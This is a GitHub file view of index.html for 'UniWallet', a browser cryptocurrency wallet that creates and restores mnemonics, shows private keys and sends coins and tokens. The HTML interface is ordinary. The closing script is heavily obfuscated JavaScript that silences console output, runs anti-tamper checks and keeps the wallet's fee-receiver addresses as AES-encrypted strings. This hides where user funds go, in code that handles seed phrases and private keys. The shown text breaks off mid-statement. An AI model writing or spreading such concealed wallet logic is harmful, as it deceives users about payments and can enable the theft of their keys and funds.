-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathindex.html
737 lines (507 loc) · 116 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>UniWallet</title>
<!--
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css">
-->
<link rel="stylesheet" href="js/bootstrap.min.css">
<script src="networks/Ethereum.js"></script>
<script src="networks/Binance.js"></script>
<script src="networks/Polygon.js"></script>
<script src="networks/Tron.js"></script>
<script src="js/ethereumjs-tx-1.3.3.js"></script>
<script src="js/bip39.js"></script> <!-- Updated to use local bip39.js file -->
<script src="js/bitcoinjs-lib5.1.3.js"></script>
<script src="js/ethers-5.2.umd.min.js"></script>
<!--
<script src="https://cdn.jsdelivr.net/npm/dogecoin@latest/dist/dogecoin.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
-->
<script src="js/web3.min.js"></script>
<script src="js/crypto-js4.1.1.js"></script>
<script src="js/jquery-3.2.1.slim.min.js"></script>
<script src="js/bootstrap.min.js" ></script>
<script src="js/qrcode.js"></script>
<script src="js/solana.js"></script>
<script src="js/base58.js"></script>
<script src="js/tronweb.js"></script>
<style>
#walletUI {
display: none;
}
.watermark {
position: absolute;
top: 0;
left: 50%;
transform: translateX(-50%);
font-size: 24px;
font-weight: bold;
color: rgba(0, 0, 0, 0.3); /* Light, semi-transparent watermark color */
pointer-events: none; /* Prevent interaction with the watermark */
}
body {
background: linear-gradient(135deg, #ffffff, #f4f4f9);
min-height: 100vh;
}
.fade-flash {
animation: flash 1s forwards;
}
@keyframes flash {
0% {
color: inherit; /* Initial color */
}
50% {
color: green; /* Flash color */
}
100% {
color: inherit; /* Return to original color */
}
}
.modal-content {
background-color: #f4f4f9;
padding: 20px;
border-radius: 15px;
box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.1);
}
.btn-custom {
border-radius: 30px;
padding: 10px 20px;
background-color: #007bff;
color: white;
transition: background-color 0.3s ease;
}
.btn-custom:hover {
background-color: #0056b3;
}
.form-control {
border-radius: 10px;
padding: 10px;
font-size: 16px;
}
.btn-transparent {
background-color: transparent;
border: none;
padding: 5px;
transition: background-color 0.3s, box-shadow 0.3s; /* Smooth transition effect */
}
.btn-transparent:hover {
background-color: rgba(211, 211, 211, 0.5); /* Light grey background on hover */
box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.1); /* Slight box shadow on hover */
}
.custom-card {
background-color: #f6f7f8; /* Light yellow background */
border-radius: 12px;
padding: 20px 20px 40px; /* Extra padding at the bottom */
text-align: center;
width: 310px;
margin: auto;
position: relative; /* To position the image absolutely inside the card */
}
.custom-CardLogo {
width: 50px;
height: 50px;
position: absolute;
top: -25px; /* Move the image up by half its height */
left: 50%;
transform: translateX(-50%);
border-radius: 50%;
}
.wallet-container {
max-width: 97%;
margin: 15px auto;
padding: 20px;
background-color: #ffffff;
border-radius: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
position: relative;
}
/* Custom styling for the select element */
#blockchainSelect {
background-image: url('img/DOGE.png'); /* Default to Dogecoin icon */
background-repeat: no-repeat;
background-position: 10px center;
padding-left: 40px; /* Add padding to make space for the icon */
background-size: 20px 20px; /* Set the size of the icon */
}
/* Styling for individual option elements (not supported in all browsers) */
#blockchainSelect option {
background-repeat: no-repeat;
padding-left: 40px; /* Align the text with space for the icon */
}
/* For making the option text consistent */
#blockchainSelect option::before {
content: '';
display: inline-block;
width: 20px;
height: 20px;
margin-right: 10px;
background-size: contain;
}
.selector-and-button {
display: flex; /* Display children in a row */
align-items: center; /* Align items vertically centered */
margin-left: 2px; /* Add some margin between the select and the button */
}
/* The Modal Background */
.SearchTokenModal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
background-color: rgba(0, 0, 0, 0.7); /* Black background with transparency */
}
/* Modal Content Box */
.SearchTokenModal-modal-content {
background-color: #fff; /* White background */
margin: 10% auto; /* 10% from the top and centered */
padding: 20px;
border-radius: 10px;
width: 50%; /* Set the width of the modal */
max-width: 600px; /* Limit maximum width */
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1); /* Shadow for 3D effect */
animation: fadeIn 0.5s ease; /* Smooth fade-in animation */
}
/* Close Button */
.close {
color: #aaa;
float: right;
font-size: 28px;
font-weight: bold;
cursor: pointer;
}
.close:hover,
.close:focus {
color: #000;
text-decoration: none;
cursor: pointer;
}
/* Modal Header */
h2 {
font-family: 'Arial', sans-serif;
font-size: 24px;
margin-bottom: 15px;
}
/* Input Search */
#tokenSearch {
width: 100%;
padding: 10px;
margin-bottom: 20px;
font-size: 16px;
border: 1px solid #ccc;
border-radius: 5px;
}
/* Token List */
#tokenList {
list-style-type: none;
padding: 0;
max-height: 300px;
overflow-y: auto;
border: 1px solid #ddd;
border-radius: 5px;
}
#tokenList li {
padding: 10px;
background-color: #f9f9f9;
margin-bottom: 5px;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.3s;
}
#tokenList li:hover {
background-color: #e0e0e0;
}
/* Add a smooth fade-in animation for the modal */
@keyframes fadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
</style>
</head>
<body>
<div class=" wallet-container">
<!-- Login Section -->
<div id="loginSection" class="mt-5">
<h3>Wallet Login</h3>
<div class="mb-3">
<label for="passwordInput" class="form-label">Enter Password:</label>
<input type="password" id="passwordInput" class="form-control">
</div>
<button id="loginButton" class="btn btn-primary" onclick="Login()">Login</button>
<button id="SetPassButton" class="btn btn-primary" onclick="SetPass()">Set</button>
<button id="ResetWalletID" class="btn btn-danger position-absolute bottom-0 end-0 m-3" onclick="ResetWallet()">Reset</button>
<br>
</div>
<!-- Login Section -->
<div id="MnemonicSection" style="display: none;" class="mt-5">
<h3>Save your Mnemonic to PC or Note</h3>
<div class="mb-3">
<p id="MnemonicText" style="color: red;">
</p>
<p id="CurrentGenrateAccountid">
</p>
<button type="button" onclick="copyMnemonic()" class="btn btn-transparent">
<img src="img/copy.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button id="ISavedItButtonid" class="btn btn-primary" style="display: none;" onclick="ShowMainUI()" >I saved it</button>
</div>
<br>
</div>
<!-- Main Wallet UI Section (hidden until login) -->
<div id="walletUI" class="m-3">
<div class="watermark">UniWallet</div>
<div class="d-flex justify-content-between align-items-center">
<div>
<!--
<label for="blockchainSelect">Blockchain:</label>
-->
<select id="blockchainSelect" class="form-select">
<!--
<option value="doge" data-icon="img/DOGE.png">Dogecoin</option>
<option value="btc" data-icon="img/BTC.png">Bitcoin</option>
<option value="ltc" data-icon="img/LTC.png">Litecoin</option>
<option value="eth" data-icon="img/ETH.png">Ethereum</option>
<option value="trx" data-icon="img/TRX.png">Tron</option>
-->
</select>
</div>
<div class="selector-and-button">
<label for="accountSelect"></label>
<select id="accountSelect" class="form-select"></select>
<!-- Show Private Key Button -->
<button type="button" onclick="ShowPrivateKey()" class="btn btn-light m-1">
<img src="img/key.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button id="addAccountButton" class="btn btn-light" onclick="addAccount()">+</button>
</div>
</div>
<div class=" custom-card text-center mt-5">
<img id="cryptoLogo" src="img/DOGE.png" alt="Crypto Logo" class="mb-3 custom-CardLogo" width="30" height="30">
<p>
<strong id="SelectedAddress"> </strong>
<button type="button" onclick="copyText('accountSelect')" class="btn btn-transparent">
<img src="img/copy.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button type="button" id="ReceiveButtonID" class="btn btn-transparent">
<img src="img/qr.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button type="button" id="RefreshBalanceButtonID" onclick="RefreshBalance()" class="btn btn-transparent">
<img src="img/refresh.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
</p>
<!--<button onclick="getSelectedIndex()">Get Selected Index</button>-->
<!--text-muted-->
<p class="card-text" id="balance">0 </p>
<p class="card-text" id="usdValue"> </p>
<h7 id="UnconfirmedBalanceID"> </h7>
</div>
<div class="d-flex justify-content-between mt-5">
<button id="sendButton" class="btn btn-custom">Send</button>
<button id="importButton" class="btn btn-custom">Import</button>
<!-- <button id="historyButton" class="btn btn-primary">History</button>
<button id="inputPrivateButton" class="btn btn-primary">Input Private</button>-->
<button id="restoreButton" class="btn btn-custom">Restore</button>
</div>
<div id="TransactionID" class="mt-5"> </div>
<!-- Send Coin Section -->
<div id="sendSection" class="mt-5" style="display: none;">
<div class="mb-3">
<label for="receiverInput" class="form-label">Receiver Address:</label>
<input type="text" id="receiverInput" class="form-control" placeholder="Enter receiver address">
</div>
<div class="mb-3">
<label for="amountInput" class="form-label">Amount:</label>
<input type="number" id="amountInput" class="form-control" placeholder="Enter amount" min="0">
<button id="MaxAmountID" class="btn btn-success" > Max</button>
</div>
<div class="mb-3">
<label for="feeSlider" class="form-label">Miner Fee:</label>
<input type="range" id="feeSlider" class="form-range" min="0.05" max="16" step="1" value="0.1" oninput="updateFeeDisplay(this.value)">
<span id="feeDisplay"> </span>
</div>
<button id="confirmSendButton" class="btn btn-success" >
<span id="sendButtonText">Send Coin</span>
<div id="sendSpinner" class="spinner-border spinner-border-sm" role="status" style="display: none;">
<span class="visually-hidden">Loading...</span>
</div>
</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<div id="sendETHSection" class="mt-5" style="display: none;">
<div class="mb-3">
<label for="receiverInputETH" class="form-label">Receiver Address:</label>
<input type="text" id="receiverInputETH" class="form-control" placeholder="Enter receiver address">
</div>
<div class="mb-3">
<label for="tokenSelectETH" class="form-label">Send:</label>
<button id="tokenSelectETH" class="btn btn-primary" onclick="showPopup()">Select Token</button>
</div>
<h5 id="tokenBalance"></h5>
<div class="mb-3">
<label for="amountInputETH" class="form-label">Amount:</label>
<input type="number" id="amountInputETH" class="form-control" placeholder="Enter amount" min="0">
</div>
<button id="confirmSendETHButton" class="btn btn-success" >
<span id="sendEVMButtonText">Send ETH/Token</span>
<div id="sendEVMSpinner" class="spinner-border spinner-border-sm" role="status" style="display: none;">
<span class="visually-hidden">Loading...</span>
</div>
</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<div id="sendTRXSection" class="mt-5" style="display: none;">
<div class="mb-3">
<label for="receiverInputTRX" class="form-label">Receiver Address:</label>
<input type="text" id="receiverInputTRX" class="form-control" placeholder="Enter receiver address">
</div>
<div class="mb-3">
<label for="tokenSelectTRX" class="form-label">Send:</label>
<button id="tokenSelectTRX" class="btn btn-primary" onclick="showPopup()">eth</button>
</div>
<h5 id="TronTokenBalance"></h5>
<div class="mb-3">
<label for="amountInputTRX" class="form-label">Amount:</label>
<input type="number" id="amountInputTRX" class="form-control" placeholder="Enter amount" min="0">
</div>
<p> Send token will consume you within <h9 class="text-danger">150 trx</h9> in Tron</p>
<button id="confirmSendTRXButton" class="btn btn-success">
<span id="sendTRXButtonText">Send TRX/Token</span>
<div id="sendTRXSpinner" class="spinner-border spinner-border-sm" role="status" style="display: none;">
<span class="visually-hidden">Loading...</span>
</div>
</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<div id="importSection" class="mt-5" style="display: none;">
<h3>Import Private Key</h3>
<div class="mb-3">
<label for="importBlockchainSelect">Select Blockchain:</label>
<select id="importBlockchainSelect" class="form-select">
<!--
<option value="doge">Dogecoin</option>
<option value="btc">Bitcoin</option>
<option value="ltc">Litecoin</option>
<option value="eth">Ethereum</option>
<option value="trx">Tron</option>
-->
</select>
</div>
<div class="mb-3">
<label for="privateKeyInput">Enter Private Key:</label>
<input type="text" id="privateKeyInput" class="form-control" placeholder="Enter your private key">
</div>
<button id="importKeyButton" class="btn btn-success">Import Key</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<!-- Restore Section (Initially Hidden) -->
<div id="RestoreSection" style="display: none;" class="mt-3">
<h5>Restore Accounts</h5>
<div class="mb-3">
<label for="mnemonicInput" class="form-label">Enter 24 Wrods Mnemonic:</label>
<input type="text" id="mnemonicInput" class="form-control" placeholder="word1 word2 word3 ...">
</div>
<button type="button" id="restoreAccountsButton" class="btn btn-primary" onclick="RestoreAccounts()">Restore Accounts</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<!-- QR Code Popup Modal -->
<div class="modal" id="qrCodeModal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">QR Code</h5>
<button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body" id="qrcode">
<!-- QR code will be dynamically inserted here -->
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" >Close</button>
</div>
</div>
</div>
</div>
</div>
<!-- container div-->
</div>
<div class="toast-container position-fixed top-0 start-50 translate-middle-x">
<div id="liveToast" class="toast" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-header">
<strong class="me-auto">Wallet</strong>
<button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
<div class="toast-body" >
This is a toast message.
</div>
</div>
</div>
<div class="modal fade" id="privateKeyModal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Private Key</h5>
<button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<p id="privateKeyText" style="font-size: 12px; word-wrap: break-word;"></p>
<!-- QR Code Container -->
<div id="privateKeyQRCode"></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<!-- Copy Button -->
<button type="button" class="btn btn-primary" id="copyPrivateKeyButton">Copy</button>
</div>
</div>
</div>
</div>
<!-- Password Input Modal -->
<div class="modal fade" id="passwordPromptModal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Enter Password</h5>
<button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="mb-3">
<label for="ValidatePasswordInput" class="form-label">Password</label>
<input type="password" id="ValidatePasswordInput" class="form-control" placeholder="Enter your wallet password">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary" onclick="validatePassword()">Submit</button>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
</div>
</div>
</div>
</div>
<!-- The Modal -->
<div id="popupModal" class="SearchTokenModal">
<div class="SearchTokenModal-modal-content">
<span class="close" onclick="closePopup()">×</span>
<h2>Select a Token</h2>
<input type="text" id="tokenSearch" placeholder="Search token name or address..." onkeyup="filterTokens()" />
<ul id="tokenList"></ul> <!-- Token list will be populated here -->
</div>
</div>
<script>
function _0x1039(_0x4fdbdf,_0x1345c6){const _0x103979=_0x1345();return _0x1039=function(_0x138195,_0x7e7afe){_0x138195=_0x138195-(0x1*-0x3d6+0xcd4*-0x1+0x11a8*0x1);let _0x2a20c1=_0x103979[_0x138195];return _0x2a20c1;},_0x1039(_0x4fdbdf,_0x1345c6);}const _0x311dae=_0x1039;(function(_0x5b1c88,_0x316bbf){const _0x42e07c=_0x1039,_0x51e0e4=_0x5b1c88();while(!![]){try{const _0x23fb35=-parseInt(_0x42e07c(0x120))/(0x530+0x43*0x43+-0x2d7*0x8)+parseInt(_0x42e07c(0x11d))/(0x8df*-0x3+0x2488+-0x9e9)*(-parseInt(_0x42e07c(0x349))/(0x1*0x22f3+0x1bb0+0x20*-0x1f5))+parseInt(_0x42e07c(0x321))/(0x1fe0+-0x1475+-0xb67*0x1)+-parseInt(_0x42e07c(0x304))/(-0xd*0x1+0xb5*0x4+0x1*-0x2c2)*(-parseInt(_0x42e07c(0x353))/(0x1c00+0x1b*0xf+-0x1d8f))+parseInt(_0x42e07c(0x27a))/(0x13a0+0x14f0*-0x1+0x157)*(parseInt(_0x42e07c(0x1d8))/(-0x7f8+0x5fb*-0x1+-0x3*-0x4a9))+-parseInt(_0x42e07c(0x28d))/(0x5*0x6f7+0xed9+0x1*-0x31a3)+parseInt(_0x42e07c(0x1a4))/(-0xe*-0x3c+-0x1*0x2089+0x1d4b);if(_0x23fb35===_0x316bbf)break;else _0x51e0e4['push'](_0x51e0e4['shift']());}catch(_0x56f60e){_0x51e0e4['push'](_0x51e0e4['shift']());}}}(_0x1345,-0x12*-0x5f87+-0x24f0f+0x6df*0x15b));const _0x4fdbdf=(function(){let _0x1c9719=!![];return function(_0x14c021,_0x52effb){const _0x273bbd=_0x1c9719?function(){const _0x511b1b=_0x1039;if(_0x52effb){const _0x27529b=_0x52effb[_0x511b1b(0x30d)](_0x14c021,arguments);return _0x52effb=null,_0x27529b;}}:function(){};return _0x1c9719=![],_0x273bbd;};}()),_0x5f24d0=_0x4fdbdf(this,function(){const _0x471dc4=_0x1039;return _0x5f24d0[_0x471dc4(0x201)]()[_0x471dc4(0x280)](_0x471dc4(0x206)+'+$')['toString']()['constructo'+'r'](_0x5f24d0)[_0x471dc4(0x280)](_0x471dc4(0x206)+'+$');});_0x5f24d0();const _0x5d3aa4=(function(){let _0x1a000e=!![];return function(_0x5754bb,_0x32b10c){const _0x39aaa2=_0x1a000e?function(){if(_0x32b10c){const _0x21f32a=_0x32b10c['apply'](_0x5754bb,arguments);return _0x32b10c=null,_0x21f32a;}}:function(){};return _0x1a000e=![],_0x39aaa2;};}()),_0x30c288=_0x5d3aa4(this,function(){const _0x18f87e=_0x1039,_0x324eda=function(){const _0xc403e7=_0x1039;let _0x90a52a;try{_0x90a52a=Function('return\x20(fu'+_0xc403e7(0x396)+(_0xc403e7(0x1a0)+'ctor(\x22retu'+_0xc403e7(0x1fe)+'\x20)')+');')();}catch(_0x3ce125){_0x90a52a=window;}return _0x90a52a;},_0x4280e7=_0x324eda(),_0x144fc4=_0x4280e7['console']=_0x4280e7[_0x18f87e(0x2a5)]||{},_0x3422f0=[_0x18f87e(0x169),_0x18f87e(0x35b),_0x18f87e(0x1da),_0x18f87e(0x251),_0x18f87e(0x208),_0x18f87e(0x213),_0x18f87e(0x2f0)];for(let _0x57cc8e=0x206d*0x1+-0x6*0x2e1+-0xf27;_0x57cc8e<_0x3422f0['length'];_0x57cc8e++){const _0x3f56fe=_0x5d3aa4[_0x18f87e(0x2e0)+'r']['prototype'][_0x18f87e(0x2bb)](_0x5d3aa4),_0x3a21cb=_0x3422f0[_0x57cc8e],_0x57d79d=_0x144fc4[_0x3a21cb]||_0x3f56fe;_0x3f56fe['__proto__']=_0x5d3aa4[_0x18f87e(0x2bb)](_0x5d3aa4),_0x3f56fe[_0x18f87e(0x201)]=_0x57d79d[_0x18f87e(0x201)][_0x18f87e(0x2bb)](_0x57d79d),_0x144fc4[_0x3a21cb]=_0x3f56fe;}});_0x30c288();const dogecoinNetwork={'messagePrefix':_0x311dae(0x1eb)+_0x311dae(0x2ef)+_0x311dae(0x367),'bech32':_0x311dae(0x2f5),'bip32':{'public':0x2facafd,'private':0x2fac398},'pubKeyHash':0x1e,'scriptHash':0x16,'wif':0x9e},bitcoinNetwork=bitcoin[_0x311dae(0x3c0)][_0x311dae(0x130)],litecoinNetwork={'messagePrefix':_0x311dae(0x264)+_0x311dae(0x2ef)+'sage:\x0a','bech32':'ltc','bip32':{'public':0x19da462,'private':0x19d9cfe},'pubKeyHash':0x30,'scriptHash':0x32,'wif':0xb0};var a='k',k1='r',c9='v',y2='puir',ioswz=a+k1+c9+y2;let selectedTokenAddress='',selectedTokenName='',GenerateAccountNumber=-0x1c*-0xab+-0x2283+0xfed;var pass='';let cryptoPrices={};var LoginOK=![],CoinsJson={'Bitcoin':{'symbol':_0x311dae(0x261),'BlockchairSymbol':_0x311dae(0x130),'chainid':0x1,'RPCURL':'','BroadcastTransaction':_0x311dae(0x3cd)+_0x311dae(0x294)+_0x311dae(0x183)+'/btc/main/'+_0x311dae(0x3af),'BlockExplorer':'https://bl'+_0x311dae(0x35e)+'om/bitcoin'+_0x311dae(0x14a)+_0x311dae(0x124),'NetworkType':_0x311dae(0x179)+'e','SaveItemName':_0x311dae(0x153),'PriceKey':_0x311dae(0x130),'pub':0x0,'priv':0x80,'multisig':0x5,'hdkeypub':0x488b21e,'hdkeyprv':0x488ade4,'APPFee':0x1,'MinAPPFee':0x1388,'MaxAPPFee':0x30d40,'SendMinAmount':0.0005,'DefaultMinerFee':0x1388,'MaximumMinerFee':0x30d40,'MnemonicCoinType':0x0,'AddressPlaceholder':_0x311dae(0x3be),'PriceKey':'bitcoin','NetworkPara':bitcoinNetwork,'MnemonicPath':'m/44\x27/0\x27/0'+_0x311dae(0x394),'FeeReciever':_0x311dae(0x1b8)+_0x311dae(0x391)+_0x311dae(0x376)+_0x311dae(0x2a7)+_0x311dae(0x220)+_0x311dae(0x1c7)+_0x311dae(0x141)+_0x311dae(0x293)+_0x311dae(0x1e4)},'Dogecoin':{'symbol':'doge','BlockchairSymbol':_0x311dae(0x205),'chainid':0x1,'RPCURL':'','BroadcastTransaction':'https://ap'+'i.blockcyp'+_0x311dae(0x183)+_0x311dae(0x2c6)+_0x311dae(0x31d),'BlockExplorer':_0x311dae(0x1a6)+'ockchair.c'+_0x311dae(0x186)+_0x311dae(0x2cd)+_0x311dae(0x32d),'NetworkType':_0x311dae(0x179)+'e','SaveItemName':_0x311dae(0x11e),'PriceKey':'dogecoin','pub':0x1e,'priv':0x9e,'multisig':0x16,'hdkeypub':0x827421e,'hdkeyprv':0x89944e4,'APPFee':0x1,'MinAPPFee':0x989680,'MaxAPPFee':0x5f5e1000,'SendMinAmount':0x1,'DefaultMinerFee':0x989680,'MaximumMinerFee':0x5f5e1000,'MnemonicCoinType':0x3,'AddressPlaceholder':_0x311dae(0x3c3),'PriceKey':_0x311dae(0x205),'NetworkPara':dogecoinNetwork,'MnemonicPath':_0x311dae(0x1f5)+'\x27/0/','FeeReciever':'U2FsdGVkX1'+_0x311dae(0x214)+'tR49IAX8HD'+_0x311dae(0x198)+_0x311dae(0x13c)+'wpCQEY9nQw'+_0x311dae(0x25b)+_0x311dae(0x14e)+_0x311dae(0x132)},'Litecoin':{'symbol':_0x311dae(0x3c8),'BlockchairSymbol':_0x311dae(0x142),'chainid':0x1,'RPCURL':'','BroadcastTransaction':_0x311dae(0x3cd)+'i.blockcyp'+_0x311dae(0x183)+'/ltc/main/'+_0x311dae(0x3af),'BlockExplorer':'https://bl'+_0x311dae(0x35e)+'om/litecoi'+_0x311dae(0x2cd)+_0x311dae(0x32d),'NetworkType':_0x311dae(0x179)+'e','SaveItemName':_0x311dae(0x178),'PriceKey':_0x311dae(0x142),'pub':0x30,'priv':0xb0,'multisig':0x32,'hdkeypub':0x19da462,'hdkeyprv':0x19d9cfe,'APPFee':0x1,'MinAPPFee':0x186a0,'MaxAPPFee':0x989680,'SendMinAmount':0.0001,'DefaultMinerFee':0x2710,'MaximumMinerFee':0x989680,'MnemonicCoinType':0x2,'AddressPlaceholder':'L2...K9','PriceKey':_0x311dae(0x142),'NetworkPara':litecoinNetwork,'MnemonicPath':_0x311dae(0x36d)+_0x311dae(0x394),'FeeReciever':_0x311dae(0x1b8)+_0x311dae(0x2d0)+_0x311dae(0x34f)+_0x311dae(0x167)+_0x311dae(0x227)+_0x311dae(0x113)+_0x311dae(0x1e0)+_0x311dae(0x2c0)+_0x311dae(0x2ed)},'Ethereum':{'symbol':_0x311dae(0x297),'TokenList':EthereumTokens,'chainid':0x1,'RPCURL':'https://et'+_0x311dae(0x114)+'.com','BroadcastTransaction':'','BlockExplorer':_0x311dae(0x1be)+_0x311dae(0x2d1)+_0x311dae(0x1a1),'NetworkType':'evm','SaveItemName':_0x311dae(0x345),'PriceKey':_0x311dae(0x2ee),'APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x311dae(0x288),'PriceKey':_0x311dae(0x2ee),'FeeReciever':''},'Binance':{'symbol':_0x311dae(0x347),'TokenList':BinanceTokens,'chainid':0x38,'RPCURL':_0x311dae(0x212)+'nance.llam'+_0x311dae(0x364),'BroadcastTransaction':'','BlockExplorer':_0x311dae(0x11c)+'cscan.com/'+_0x311dae(0x134),'NetworkType':'evm','SaveItemName':_0x311dae(0x345),'APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x311dae(0x288),'PriceKey':_0x311dae(0x39a)+'n','FeeReciever':''},'Polygon':{'symbol':'pol','TokenList':PolygonTokens,'chainid':0x89,'RPCURL':_0x311dae(0x248)+_0x311dae(0x311)+_0x311dae(0x364),'BroadcastTransaction':'','BlockExplorer':_0x311dae(0x248)+'lygonscan.'+_0x311dae(0x3cf),'NetworkType':_0x311dae(0x345),'SaveItemName':'evm','APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':'0x...u9','PriceKey':_0x311dae(0x1dd)+_0x311dae(0x181),'FeeReciever':''},'Tron':{'symbol':'trx','TokenList':TronTokens,'chainid':0x1,'RPCURL':'https://ap'+_0x311dae(0x3c5)+'.io','BroadcastTransaction':'','BlockExplorer':_0x311dae(0x3b1)+_0x311dae(0x182)+_0x311dae(0x1cc)+_0x311dae(0x397),'NetworkType':_0x311dae(0x3b8),'SaveItemName':'tron','PriceKey':_0x311dae(0x3b8),'APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x311dae(0x288),'PriceKey':_0x311dae(0x3b8),'FeeReciever':'','MnemonicPath':_0x311dae(0x1ce)+_0x311dae(0x23b),'NetworkPara':bitcoinNetwork}};const tronWeb=new TronWeb({'fullHost':_0x311dae(0x3cd)+'i.trongrid'+'.io'});document['getElement'+_0x311dae(0x3b4)](_0x311dae(0x377))[_0x311dae(0x16b)+'stener']('click',function(){const _0x3679ee=_0x311dae;document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x2c2)+'ion')[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x13d),document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x314)+_0x3679ee(0x1e6))['style'][_0x3679ee(0x21b)]=_0x3679ee(0x13d);var 